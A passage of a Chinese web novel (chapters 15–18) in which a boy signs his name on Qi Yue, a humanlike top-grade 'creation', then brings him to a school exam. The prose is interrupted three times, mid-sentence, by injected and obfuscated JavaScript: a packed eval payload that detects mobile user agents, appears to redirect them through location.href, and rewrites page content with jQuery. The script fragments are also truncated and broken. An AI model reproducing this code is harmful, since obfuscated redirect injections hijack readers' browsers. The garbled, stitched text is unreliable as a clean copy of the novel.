老人鼻梁架着黑框眼镜,衬衫领子很高,隐约遮着脖子上的一片侵蚀痕迹。衬衫外面套着一件工装马甲,大口袋里塞着各种常用工具,手里还另外提着折叠凳和工具箱。 “晚上好,我姓卫,叫我卫师傅或者老卫都行,我十岁学徒,在鉴定这行已经做了五十六年,水平有限,但经验还是有一点的。” 卫师傅一脸正气,说话间从胸口衣兜里掏出一只密封袋,取出工作证件和资格证书,一丝不苟地摊开放在桌上,然后打开折叠凳,将工具箱架了起来。 忙完之后,他道:“我这边准备好了。” 凌壑指着皮箱问修复师:“是你自己开锁,还是我来帮你把它撬开?” 修复师没说什么,直接开了锁,解了绑带,把箱子往前一推。 皮箱内部垫着切割过的厚海绵,中间稳稳嵌着一只小一号的金属箱子。 卫师傅推推眼镜,戴上手套,进入工作状态。先铺一张干净台布,再把箱子取出放稳,小心翼翼打开,然后…… 他看着箱子里面,表情逐渐疑惑。 这怎么好像是一套雕刻工具? 确实也有不少工具型的造物,但这…… 他推推眼镜,打着手电仔细查看,再次确认,没 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林栖伸出食指,手腕稍稍向上一抬,似乎想指什么,但刚一动作又把手指收了回去,绕过桌子,在修复师面前站定,默默朝他看了片刻,“你自己说吧。” 顿了顿,又补充道:“反正我没长嘴。” 修复师看着他,无语地扯了扯唇角。 两人一站一坐,默默对峙。 片刻,修复师朝旁边一指,示意林栖闪开。 等林栖往旁边挪开几步,他才站起身来,无趣道:“对,我不是人,我是造物,‘送货上门’就是送我自己。” 说完,他朝林栖扫了一眼,仿佛在说:你满意了? 林栖能感觉到,周围空气凝滞般的一静。 凌壑脸上笑容卡顿,连观沄眼中都出现了一瞬间的错愕。 观沄看向林栖,投来一个询问的眼神,仿佛在问,这是你捡的流浪猫吗? 林栖迟疑地点了下头。 是的…… 但不是流浪猫,也不是流浪狗,是这么大的一个活人…… 观沄点了下头,眉宇间透出一点无奈。 林栖心虚地蹭了一下鼻尖。 旁边,卫师傅愣了片刻,忽然噌地一下起身,仿佛喝了假酒,踉跄着大跨几步,诈尸似的就要往前面扑。 凌壑从旁边一把将他拽住,“卫师傅,冷静一点,别闪着腰。” 一把年纪了,这么突然诈尸怪吓人的。 卫师傅又挣了两下才恍然回神,看着凌壑发愣。 凌壑把人按在椅子上,“您先稍等,现在还不急着鉴定。” “噢,好,好。”卫师傅匀速点头,人是坐下了,身子却不住往前探,眼睛直勾勾地盯着目标。 也不怪他会有这种反应,按照造物评级标准,所有的“人形造物”都属于“顶级造物”。 能达到这一级别的造物非常稀有。从两百年前造物师这一职业诞生以来,能做出顶级造物的造物师总共就只有四位,每一位都在造物史上赫赫有名。 而他们所留下的造物也同样有名,每一件顶级造物都在官方留有专属档案和图片资料,且其中绝大多数在造物师去世以后也有着清晰的传承脉络,不会轻易流落在外,也不需要特意鉴定。 大多数鉴定师终其一生,都无缘亲眼见到一件顶级造物,现在机会摆在眼前,实在很难保持冷静。 卫师傅只是被请来做鉴定的,不了解前因后果,但凌壑和观沄了解,这件事在他们看来,实在有点离奇。 首先,这个红眼少年实在不像一件造物。 他太“真”了。 每日来往于古董店的客人不在少数,但从没有人怀疑过他的身份。 其次,因为某些历史原因,官方对中级以上造物管控一向十分严格,几乎不可能存在“野生”的顶级造物。 再者,顶级造物也是造物,依然具备造物的核心属性——也就是功能属性。它们虽然外表肖似人类,却不是真人。 顶级造物是经过美化和重塑的人类形象。 它们被塑造出精美绝伦的外表,又配以符合大众期许的性格——它们聪明、智慧、稳重、懂事、谦和、体贴、乖巧、伶俐…… 没有哪位造物师会特意做出一件性格特别差的造物。 而他们都清楚这个红眼睛的小屁孩儿是个什么脾气。 凌壑宁可相信自己是造物,也不信他是造物。 片刻,他忍不住问:“你说你是造物?真的假的?什么年代的?造物师是谁?” 对方淡淡回道:“你不是带了鉴定师吗?” 16. 第 16 章 凌壑顿时觉得脚疼,有种搬起石头砸自己的蠢感。 就算他不懂造物,也知道一般鉴定师根本鉴定不了顶级造物。见都没见过的东西,让他们怎么鉴?凭感觉吗?还是靠信仰? 不过在这种小屁孩儿面前,成年人是不能认输的。 凌壑单手插兜,端着一副一切尽在掌握的沉稳,“确实,卫师傅是我特意请过来的,在业内口碑是第一流的,光是各种奖项就拿到手软,又有五十六年鉴定经验……” 他打算拍拍马屁,激发一下卫师傅的潜能,但话没说完,旁边这位老师傅就噌的一下又站起来,像个小学生似的朝他慌乱摆手,“不不不,我可鉴定不了顶级造物。” 凌壑:“……” 要不您改行吧,去做拆台师傅。 卫师傅既惭愧又急迫,说完马上又道:“要不请我师父来吧?他老人家虽然已经退休很多年了,但有八十多年鉴定经验,是我们这行经验最最最丰富的一位,如果有需要,我这就去请他老人家过来。” 凌壑眼角跳了跳,仿佛看到一群没牙老头儿在自己面前哆哆嗦嗦,他扯出个笑,“先不麻烦了,既然这样,就请您先回去吧,这次的鉴定费用会如约支付,如果有其他需要,我们会再联系您。” “这样也好,也好……”卫师傅老实道,“那我先回去问问师父,你们有需要随时跟我联系,随时都行。” 他一边收拾工具,一边盯着对面那件顶级造物,好像老机器没油了一样,收着收着就停了动作。 凌壑催道:“卫师傅?” 卫师傅“噢”的一声回过神来,看看他,又看看自己那双布满细纹的手,迟疑道:“我能……我能稍微碰一下吗?” 他也一把年纪了,像这种机会以后不一定还能再有。 凌壑露出一个看热闹的笑,朝修复师道:“诶,这位老人家说想摸你一下,你给吗?” 卫师傅连忙补充:“不乱摸不乱摸,我戴手套,就碰一下,轻轻地。” 修复师微微眯着那双红色眼睛,用一种说不清是玩笑还是认真的语气道:“碰一下十万块。” 老师傅顿时两眼一亮:“好、好!那我回去一趟!马上就来!” 说完连工具箱也不要了,飞奔回家取钱。 林栖朝修复师瞄了一眼,默默往旁边移开两步。 好贵。 离远点,别不小心碰到。 观沄把林栖叫回身边,沉默审视对面少年。 这几天,他查了一些资料,鉴定古董造物通常会看原始署名——也就是造物师本人的亲笔签名。 但古董造物年代久远,造物师离世之后,新主人通常会对其重新署名,三代以前的造物常见“原位重署”——以特殊涂层覆盖原始署名,再在同个位置重新署名。 遇到这种情况,就要先溶解封层,再进行鉴定,工序繁复,且有一定风险,普通鉴定师根本不敢动手。 造物的“代际”划分从属于造物师,因为后续传承错综复杂,通常只算五代以内。 不过这种算法并不包括林叙。 在他的年代,造物分类和定级都还不成体系。 一些“奇怪”的造物也多诞生于那个时期。 观沄看向对面那名红眼少年,“我不太懂造物,也不会鉴定,但我猜想,既然你能‘送货上门’,就一定有办法证明自己,没必要麻烦别人。” 修复师“哦”了一声,缓缓开口,“原来还是有人带脑子的。” 凌壑朝他白了一眼。 观沄礼貌一笑,并不多说,只是耐心等着。 片刻,修复师斜斜向后一靠,慢条斯理地摘了手套,拆开绷带,露出手腕。 皮肤上清晰可见一枚印记。 这是一枚朱砂色的“控制印”,只能用于控制“非人”。 有它在,就可以很直观地证明,少年确实是一件造物。 印记中心嵌着数字,正在缓慢跳着计时,当计时结束,印记就会消失,也就是说,它的控制功能只是附带的,主要作用是证明身份。 凌壑牙疼似的撇了撇嘴,“就你这更年期的脾气,居然真是顶级造物?” 少年眸光平静,“是啊,我也奇怪,以您这种口无遮拦的性格,居然也能当驯院老师。” 凌壑提了口气,河豚似的还要再说,瞄了一眼观沄脸色,顿时又乖乖泄气,“算了,没兴趣跟桌子椅子吵架。” 林栖头顶冒出一颗问号。 桌子椅子? 观沄问:“控制印是你们店主留的?” 要在顶级造物身上留下控制印并不简单,能做到这点,至少也是咒院教授级别。 修复师反问:“不然是我自己留的?” 观沄看他片刻,抬手在桌面轻点,“你们店主是不是还让你带了别的什么过来?” “现在可以拿出来了。” 没有人会随随便便就把顶级造物送到别人手上,除非有很合理的解释。 修复师和观沄对视片刻,无趣地垂了垂眸,从身上取出一枚黑色信封,平放在桌面,向前轻轻一推。 信封在观沄手边停住。 林栖坐在旁边,视线高度不够,看不到信封里面装了什么,只注意到观沄在拆开信封时,整个人有片刻怔然——捏着信封的指节瞬间绷紧,而后才缓缓松开,将信封重新折好。 “知道了。”观沄看完之后,只说了这三个字。 挑选造物一事暂且定下。 控制印的倒计时是两天,也就是说,两天之后才能开始署名。 观沄让修复师自己选个房间住下。修复师逛了一圈,没选房间,反而选了后院仓库。 仓库像个废品回收站,东侧堆着多余的家具杂物,西侧囤着老旧的工具木料。 在修复师“霸占”仓库之后,凌壑时不时就去巡视一圈,回来就跟观沄嘀咕:“我怎么觉得,‘更年期’想在你这里赖着不走?” “它是不是赖着不走我不清楚,倒是你想赖到什么时候?” “这还不是为了孩子上学?”凌壑叼着发圈绑头发,“都说了,你儿子就是我儿子。” “我没有回学校的打算。” “谁说让你回学校了?”凌壑故作惊讶,“我有那么大的野心吗?最多就想把你拴在学城。” 观沄跟他视线相触,立刻明白,这人早就准备好了后手。 顶级造物极难署名,一旦林栖失败,这人就会拿出替代方案,跟他讨价还价。 观沄能预想到之后的麻烦事,但不想跟他掰扯。 他现在只想知道,那位神秘店主到底什么来头。 山间傍晚风凉。 夕阳下,仓库门外已经清理出了一堆杂物。 林栖路过时,透过门缝看到修复师踩在离地三米高的梯子上,正在修理一挂老旧的铁艺吊灯。 天光昏暗,梯子像是一件出土文物,局部已经朽成黑色,一条腿上用薄铁皮打着补丁,虽然现在还算稳当,但怎么看都像回光返照,随时都能原地去世。 林栖看了片刻,走过去,默默扶住梯子。 修复师站在高处,继续着手上的动作,声调冷淡,“你很闲吗?” 林栖写了一下午的字,今天的学习任务已经完成了,这会儿正在等吃晚饭,确实没别的事。 他“嗯”了一声,说:“很闲。” 空气静了静。 片刻,修复师扔了一副手套下来。 林栖两只手都扶在梯子上,没有手接,眼看着手套掉在脚边,刚想问需要帮你捡起来吗?就听对方道:“别傻站着,捡起来戴上。” 哦。 林栖只当这是一种“习俗”,于是入乡随俗,捡了手套戴好。 过了一会儿,修复师拧紧最后一颗灯泡,朝他道:“还闲吗?闲就过去把灯打开。” 林栖缓缓松开梯子,举着手又等了两秒,确定它不会当场散架,才快步过去按了开关。 环形灯座上,一圈灯泡同时亮起,林栖眯了下眼,又回去继续扶住梯子。 之前仓库太暗,这会儿他才借着灯光看清除了,梯子上有很多细小而尖锐的木刺,很容易扎进肉里。 他以前被扎过,知道这种木刺扎进肉里又疼又痒,而且很难挑得出来。 他又看了看自己戴的手套。 原来入乡随俗是这个意思…… 迟疑片刻,林栖忽然仰起头道:“我叫林栖,你叫什么?” 空气静了片刻。 冷淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16498255|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的少年嗓音从高处落下,像在翻书,看到哪句就读哪句,每句话之间隔着一页纸的距离,停顿明显,连意思都不太连贯—— “原来姓林,怪不得不愿意说。” “我没名字。” “岐岄。” “祈祷的祈,超越的越。” “没事别叫。” 林栖:“?” 不是前一句才说没有名字?怎么突然又有了,到底有没有一句真话? 少年像是猜到他在腹诽什么,垂眸扫他一眼,“刚取的,有问题吗?” 林栖:“……” 有。 既然取名这么随意,你怎么不叫旺财? 或是来福? 两天时间过得很快,在这两天里,林栖做了一些署名准备工作,主要是——练字。 简单来说,署名就是在造物上签名,一旦成功,这个名字就会成为一种“印章”,无法轻易抹除。 如果名字写得太丑,就会变成活生生的黑历史。 林栖依然很不习惯现代语,经常写着写着就写成古语,练字事倍功半。 另一项准备就是选墨。 署名用的墨都是咒师专门调配出来的,朱红靛蓝这种艳色比较常见。他跟着观沄逛了几条街,才选到了一款胡桃木晶体墨,化开是柔和的暖棕色,写字不会特别扎眼。 署名时不能有外人在场,到了时间,观沄和凌壑就在院子里等,整座房子只剩林栖和祈越两个。 林栖关了门,独自在书房调墨。 按惯例,署名者会在墨里加一滴自己的血,以强调这件造物从此属于自己。 他看了看自己的手指,脑中自动播放一则预言——扎破手指,使劲朝墨里挤一滴血,然后就能看见这滴血溅开之后又恢复成圆圆一颗,倒飞回手指上,像地鼠一样钻进伤口,接着伤口恢复原状,就像什么都没发生过。 再扎一次也还是这个流程。 ……算了。 加血是不可能的。 但为了细节严谨,他还是拿出事先准备好的矿物颜料,调成血液质地,用手指蘸了蘸,在暖棕色的墨里加了一滴。 林栖只稍微擦了一下手指,故意没擦干净,带着一点血迹包好创可贴,一切准备就绪,这才去叫祈越过来。 红眼少年倚在门边,语调透着漫不经心,“你是蜗牛吗,我都快睡着了。” 林栖直直站着,抬手指了指书桌前的座位,“你坐这里。” 祈越“哦”了一声,像是一步一动的提线木偶,“怎么坐?正着还是反着?” “……正着。”林栖道,“墨……一瓶墨只能用一次,而且要在五分钟之内用完,如果慢了就要重新再……” 他想提醒对方动作快点,说着说着却发现自己也在耽误时间,索性闭嘴。 祈越拉开凳子坐下,斜靠椅背,抬眸道:“你很紧张吗?” 林栖面无表情地摸了一下创可贴,再次想把这人嘴巴贴上,而且还认真思考了一下可行性。 贴也行吧? 反正名字又不写在嘴上。 片刻,他道:“坐直一点,先别说话。” 祈越很配合,真的不说话了,却似笑非笑地勾着唇角,眯起眼睛,用一种看热闹的表情朝他打量。 林栖敛起视线,不看他,只把注意力放在自己身上,但在蘸墨时,钢笔尖和玻璃瓶还是碰撞出了“哒哒哒”的响声。 手,有点抖。 他用力握住笔杆,在纸上试了试墨,视线在祈越身上打量片刻。 名字写在哪里是个问题。 不能选在太显眼的地方,否则每天看到都想脚趾抠地,也不能选在太隐蔽的地方,否则写的时候就会脚趾抠地。 他以前从来都没想过,自己的名字还能写在别人身上。 而且写了就擦不掉。 祈越为什么就不能是一张桌子呢? 板凳也好。 就算他在心里默念“这是造物这是造物”,也没办法真的把一个大活人想象成一件物品。 好尴尬。 好烦。 不想写。 但是不能不写。 林栖抿着嘴唇,在心里叹一口气,举起了手上的笔。 17. 第 17 章 其实林栖已经提前想好了,名字就写在脖子后面。 选在背后,写字的时候就不用跟对方面对面地大眼瞪小眼,不被对方盯着,连字都能写得好看一点。 他忽然就能理解老虎为什么总爱背后搞偷袭了。 而且脖子后面既不太显眼,也不太隐蔽。 只用把领子往下扒拉一点就能写,署名被衣服遮着,平时也不容易看见。 林栖做好心理准备,缓缓吸一口气,屏住呼吸,左手指尖好像镊子一样,揪起祈越领子上的一点布料,在不碰到他本人的情况下,把领子往下扯了扯。 领口下面三厘米,写在正中间,先看脊柱确定位置,不行再看肩胛骨,取两侧肩胛骨最上端的连线中点,不要偏,也别歪,尽量好看一点……林栖在心里默念注意事项,目光轻移找到位置,然后就……站着不动了。 在他想署名的位置,刚好有一块浅红色的胎记。 不对……好像不是胎记。 林栖像只好奇的麻雀,歪着脑袋让出更多光亮。细看之下,“胎记”似乎是一块模糊的笔迹,还能看出一点笔画间的浓淡起伏。 就像用红色墨水在白纸上写字,写完之后又被水晕开。 残留最深的笔画甚至能看出下笔时的力度,红色是透入皮肤里的,与其说是笔迹,更像是洗不掉的纹身。 这是造物师留下的原始署名,还是……? 古董造物至少都有一百年了,所以祈越只是看起来比他大两三岁,实际上比他大一两百岁。 是个爷爷。 但是这个“爷爷”性格又很像叛逆期。 林栖的计划被打乱了,一时有许多念头在脑子里飞,就像原本好好长在树上的叶子,一旦被风吹掉了,就不知道会飘到哪里。 沉默许久的祈越忽然开口:“你写不写?” 乱飞的树叶忽然就掉在地上不动了,林栖手指依然好像镊子一样揪着那一点点衣领布料,动作却明显僵硬。 “写……哪里?”他向祈越征求意见。 “你问我?”祈越语气透着很明显的不耐。 “嗯,有建议吗?”林栖继续问。墨水的保质期是五分钟,现在过去多久了?两分钟?三分钟? “没有。”祈越语气冷淡,“我只是造物,又不是人,能有什么建议。” 心里某些模糊的念头忽然变得清晰,林栖低头看着祈越单薄而倔强的背影,问:“你是不是不愿意被人署名?” 不在意和不愿意是两码事。 林栖猜想,祈越那些无所谓的态度可能都是假的,他其实非常不愿意被人署名,更不想跟着一个陌生人去上学。 空气静了两三秒钟,祈越反问:“愿不愿意有区别吗?” 作为造物,他没得选。 考虑愿不愿意纯粹是在浪费时间。 林栖后知后觉,自己好像说错话了,他仿佛是在关心对方想法,实际上却好像在问一只兔子,你愿意被大灰狼吃掉吗? 祈越要听店主的,自己没得选。 林栖倒是能选,且不想在祈越身上署名,但如果他现在放弃,就等于杀了兔子不吃,反而把尸体埋了。 愿不愿意确实没有区别。 想这些也没有意义。 林栖默默把自己拉回既定轨道,问祈越,“写在手上行吗?” 祈越回头,凉冰冰地扫他一眼。 好吧,他又说错话了。 他的这个问题就像在问兔子,你想被人怎么吃?麻辣兔丁还是红烧兔头? “大灰狼”总归是要被讨厌的,友善的大灰狼只会比邪恶的大灰狼更加可恨。 林栖决定不再问了。 他绕到祈越身侧,把祈越的一只手拎到桌上,像对待一张画纸那样把它按平、压住,单独掰开小拇指,在最后一节关节内侧写了名字。 和手心相比,这个位置更不起眼。 暖棕色的墨迹浮于皮肤表面,林栖看着刚写下的两个小字,愣了一秒。 他又写了古语。 古语行吗? 他询问地看向祈越。 祈越满眼的冷淡和不耐烦,和他稍稍对上视线就朝一旁移开,“写完了吗?写完就把你的爪子松开。” 仿佛一个镜头忽然给到手部特写,林栖看着自己的动作,瞬间脑补出一只狼爪恶狠狠地按着小白兔的前脚不肯撒手。 好像……是挺坏的。 他想起林鹭和附近的孩子隔空对打,那些孩子显然觉得只要姓林都是反派。 祈越似乎也知道姓林不好,所以在祈越看来,他就是一只反派大灰狼吗? 林栖明显觉得自己手指僵硬,但还是按着祈越没有松手,只道:“等一下,墨还没干。” 说完,他朝祈越小拇指上吹了吹。 林栖只顾盯着墨迹,没注意到祈越手指微微一抽,同时脸上表情更冷淡了。 片刻,暖棕色的字迹散开一点微光,忽然沉淀下去。像是纹身,和皮肤肌理融为一体。 林栖凑近又看了看,觉得可以了,正打算把手松开,却见祈越手上蓦地多了一道裂纹,从指缝间延伸出去,越裂越深,一直贯穿小臂。 这是什么? 林栖眼前的画面有些失真,少年手臂上看起来不像人类皮肤,更像是陈朽风化的木雕,或是摔碎的陶瓷人偶——重新拼凑完整之后,还留有蛛网般的裂痕。 在一些碎片剥落处,能看到焚烧后的焦痕。 恍惚间,眼前腾起一片火光,炽烈的暖色和书房的冷调交叠成暗房中的底片。 透过那些半透明的轮廓,林栖看到了破碎的湖面、苍白的墓碑,还有一道人影—— 一道独自走进火光中的人影…… 片刻,火焰暴涨,画面被激得粉碎,像万花筒里的镜像,分合交错。 火光跳动在破碎的镜面之间,斑驳凌乱。 林栖看不太清,却莫名知道,这个人影就是祈越。 他要去火里找什么呢? 虚空中传来一阵岩石碎裂声响,有什么东西轰然倒塌,溅起一片土腥。 灰尘中,火焰绕着指骨,烧出焦黑的裂痕,寸寸惊心,但少年却像还嫌火势太过温和,继续迈步向前,走进一片浓稠如血的光影里…… 林栖手指抽搐似的一动,忽然伸手,试图拉住那道背影。 手指却穿过虚影,落了空。 他张开嘴,同样发不出任何声音,只听到一阵锈蚀般的,近乎嘶哑的风声。 …… 林栖是在椅子上醒过来的。 意识朦胧间,他觉得自己是一颗蛤蜊,正被一只海獭攥在手里,用一块趁手的石头反复敲打。 睁开眼时,林栖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16505083|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到祈越手里卷着一本软皮书,正在一下一下敲着他的脑壳。 听得出来,脑壳很结实,纸筒也很有弹性。 林栖跟祈越对上视线,眼睁睁地看着对方又敲了几下。他动作有些迟缓,一边偏头躲开,一边抬手抓书。 祈越顺势松手,“你最好是饿晕的,我还没听说过有人因为署名晕过去的。” 林栖捏着书,后知后觉,署名已经完成了。 他看向祈越,眼前真实的人影和那些虚幻的画面重合,一瞬间仿佛又有火光撕扯,灼得人眼睛发涩。 他喉咙有些发紧,想说点什么,但还没开口,祈越已经转身走了。 林栖像是一只被人从娃娃机里夹出来的娃娃,一动不动坐着,目光茫然放空,隔了好一会儿,他才起身去找观沄。 观沄和凌壑一起等在屋外廊下,听到林栖说署名很顺利,一时脸上表情各有各的古怪。 尤其凌壑,仿佛看到婴儿刚出生就是个老头儿,又或者是太阳刷刷冒着黑光。 林栖有点看不懂他们的反应。 因为没人告诉他,署名顶级造物和署名中级造物完全不是一个难度。 现场除了他自己之外,没人觉得他能成功。 也包括祈越。 观沄已经把安慰的话准备好了,凌壑也预备了替代方案。 但没想到,林栖就这样轻描淡写地成功了。 晚些时候,林栖单独问观沄,署名是为了考试,那考试结束之后呢? 观沄以为他是为了上学紧张,就跟他说了一些学校里的情况。 但林栖想问的不是这个,他想知道的是,应该怎么对待祈越? 常识上,祈越是一件造物。 从观沄和凌壑的态度来看,祈越更是一件“工具”,这件工具关乎他的考试结果,且很稀有,需要妥善保管。 但祈越又不是一套画笔、一把锤子…… 他要怎么保管一个大活人? 而且这个大活人还像仙人掌一样,浑身是刺,碰一碰就扎手。 林栖并没有把自己的疑惑和观沄解释清楚,等到了时间,他就回屋睡了。 梦里,他在一排排柜子之间找着什么。柜子既像书架又像展柜,他走了一圈又一圈,最后累得蹲下,见到柜子底下藏了东西,就不问自取地把它拖了出来。 那是一个长条形的箱子。 盖子上积了一层棉絮状的灰尘,打开之后,里面放着一件制作精美的木雕人偶,细腻的浅色木质几乎就是真人皮肤。 他手里似乎拿了一柄木刻刀,或者一支画笔,刚要伸手,木偶却忽然抓住他的手腕,从箱子里坐了起来。 浅木色的手指紧紧扣在他皮肤里。 一双深黑色的眼睛看着他,瞳孔中隐隐透出血色,越来越深,越来越红。 有声音从黑暗深处浮起,像是控着木偶动作的提线,细细一根,在舞台灯下,时而反光,时而隐去。 那声音说的都是一些琐碎日常。 琐碎到拼凑不出轮廓,也没有任何记忆点。 像是无色无味的水浸透全身,又缓缓退去,风干之后不留痕迹,只剩一点温热水汽,无形地裹着皮肤,证明它曾存在过。 意识朦胧中,林栖反复追问:是谁? 谁在跟他说话? 夜空渺远,无人作答。 18. 第 18 章 第二天醒来时,林栖只记得做过梦,但不记得梦了什么。 他有点困,仿佛睫毛很沉似的眯着眼睛,迷迷糊糊地吃完了一顿早饭。 观沄又把鸡蛋煎糊了,但牛奶温度刚好。 林栖听说入学之后要住校,只有周末才能回来一天,忽然觉得糊煎蛋也很好,一半生的,一半糊的,口感比普通煎蛋丰富,而且糊的地方有点苦,增加了味道层次,不容易腻。 学城里的厨师肯定煎不出这种效果。 今天是最后一场考试,他已经按要求完成了署名,还有可能考不上吗? 补考定在上午十点。 校区三号楼—— 考生只有二十多个,散在走廊里等着工作人员叫号。 在来之前,他们已经互相打听过了,都知道谁能考上,谁考不上,现在只是走个过场,顺便看看“仇人”是谁。 “傅明熙怎么还不来?我今天非得看看他能有多嚣张。” “来那么早干嘛,你倒是挺早,有用吗?” “嘁,本来我爸都说了,不管多贵,见到就买,不就是个破古董,谁还买不起似的?要不是他家使坏,我们几个都能考上。” “要是都考上了还怎么显着他呢?人家那么有钱,怎么能跟我们这些穷鬼一个档次?” 两人超大声说着悄悄话,旁边有人听到他们在聊傅明熙,也凑了脑袋过来,“我听说傅家搞了高级造物,真的假的?这么厉害?” “谁知道呢,我爸说评级也有争议,还说只要有争议就是没争议,因为没有花钱摆不平的争议。” “什么?啊?你再说一遍?” “听不懂拉倒。” “就算真是高级,也就只占一个名额呀,那还剩三个呢,咱们也不是完全没机会吧。” “谁跟你说傅家只占一个名额?” “啊?” “诶诶!来了来了!小声点儿,傅明熙……” 不管现场什么状况,有多少人,你总能一眼就看见傅明熙。 锦玉堆里养出来的孩子,汗毛孔里仿佛长着钻石,就是有种和所有人都不一样的本事。 傅明熙今天是最后一个到的,穿了一身酒红骑装,踩着马靴,由四名保镖护着穿过走廊,只是阵仗就足够引人注目,何况左肩还扣着一副护甲,上面立着一只金喙银羽的猎鹰。 银鹰一身羽毛溢彩流光,像圣殿骑士披着缀满宝石的华彩礼服,站姿挺拔,气势凛然,遇到有人靠近打量,那双锐利的鹰眸就扫视过来,振翅发出一声长鸣。 但就是这样一只傲然不驯的鹰,却在傅明熙抬手时,朝他垂目颔首,显露出一副恭顺姿态。 马靴落地清脆,踏过之后,走廊一片寂静。 等一行人消失在走廊尽头,考生们才像一锅爆米花似的炸开。 议论声噼啪乱蹦。 那只银鹰显然是傅明熙选定的造物。考生们都知道,傅家这次提前预定,就是为了选个最好的出来显摆,但没想到,傅明熙能显摆出这种效果。 实在是太拉风了,足够他们讨论半年。 议论声中,有人提出质疑,“傅明熙是最后到的,为什么第一个进去考试?” 工作人员解释,这是考官们临时商议决定的,那只银鹰是一件高级造物,十分珍贵稀有,等在这里怕有闪失。 考生们大多一知半解,又对造物毫无兴趣,参加补考纯粹为了混个入学名额,听了这话,顿时爆出一阵惊呼。 居然是高级造物! 怪不得那么帅! 他们以前都没见过这种稀罕玩意儿。 有人吐槽傅明熙爱出风头,但也掩饰不住眼睛里的羡慕。 热闹中,只有一两个人在心里嘀咕:这个高级造物怎么好像不会说话? 毕竟,中级和高级的分界线就是“语言”。 走廊末端,林栖远远听着这片热闹。 之前还有几个人在议论他的考试成绩和家庭背景,不过现在已经没了,所有人都在关注华丽登场的傅明熙。 林栖觉得这样很好,就像刚下过雨,闷热的空气忽然变得清新。 几分钟后,傅明熙结束考试出来,又吸引了一波关注。 剩下的学生也挨个进去考试,走廊逐渐安静下来。 工作人员叫到林栖时,他刚走出一段,肩膀就被祈越貌似不经意地撞了一下。 几乎同时,就听旁边有个学生“啊”的叫了一声,忽然左脚踩右脚,拧麻花似的地摔在地上。 林栖看向祈越。 祈越却只是继续往前走,就像什么都没发生过一样。 林栖想问:怎么做到的? 刚刚那个学生想伸脚绊他,他看见了,但还没来得及做出反应,对方就自己摔了,他知道祈越做了什么,但完全没看清他是怎么做的。 而且看样子,他也不打算说。 来到考场门外,工作人员见他们是两个人来,于是抬手阻拦,“考生自己进去,朋友在外面等。” 林栖想说他不是我朋友,却卡住了。 署名和被署名应该算是什么关系? 墨水笔和签名板吗? 工作人员正疑惑着,就见站在一旁的清瘦少年抬起一双红眸,“不好意思,我是他的考-试-答-案。” 眼前这两个孩子都长得太好看了,工作人员难免有些分心,隔了几秒才反应过来。 什么考试-答案? 什么意思? 他怎么听不懂呢? 林栖略显迟疑地点了下头。 工作人员:“?” 十分钟后。 一名主考官、三名副考官外加两个临时抓过来的外援一起,在评审席后坐成一排,看着林栖和他带过来的“考试-答案”。 气氛沉默得有些诡异。 首先,这个“答案”实在不像造物。 其次,他们只是来考核的,不是来做鉴定的。别的考生都带了全套的鉴定证书和评级证明,他这倒好,什么都没有,直接丢给他们自己判断。 再者,他们还算有些常识,知道但凡长得像个人的都是顶级造物,而顶级造物很难重新署名。 按照官方记录,成功率不到十分之一,而且是在特定条件下。有资格尝试署名的人本就经过重重筛选,是造物师中最有可能成功的那一小撮。 如果从每年的考生里随机选人来试,成功率恐怕不到万分之一。 而且这只是一场补考,又不是正式考。所谓补考,就是把没人要的学生扫成一堆,过一过筛,看看还能怎么废物利用。 能用就不错了,怎么还能从废品堆里冒出一个天才? 这不合理。 主考官觉得这是一场闹剧,很想把人直接轰走,但登记表上写着,考生的监护人是观沄。 难办。 一排考官端着成熟稳重的姿态交头接耳,仿佛他们才是要考试的学生,而且遇到了做不出的难题。 又几分钟后,讨论无果,所有人都觉得考生是在故意搞事,但又没人愿意得罪观沄,推来推去,谁都不想在“不合格”那一栏上盖章签名。 主考官打量祈越, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16509750|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斟酌着问:“我想知道,你作为造物的核心功能是什么?” 意思是让造物自证身份。 祈越唇角轻轻一抬,吐出两个字:“骂人。” 主考官:“?” 祈越善解人意道:“我也可以现场展示一下核心功能。” “那倒不必麻烦……”主考官面皮抽搐,微笑道,“毕竟我们也不会给骂人效果评级。” 顿了顿,他道:“这样吧,考虑到情况特殊,为了保证考试的公平公正严谨,我们还是把造物院的许院长请来,让他亲自评定一下。” 这次补考是给造院挑选学生,于情于理,都应该有造院老师从旁协助,但因为上次的补考风波,校方招生办和造院闹了不小矛盾,又因为许慎行骂得太狠,已经撕破脸了,现在想去请人过来恐怕不太容易。 几分钟后,派去请人的工作人员回来道:“许院长说他没时间。” 主考官:“见到人了吗?” “见到了。” “许院长在忙什么?” “许院长他……在浇花。” 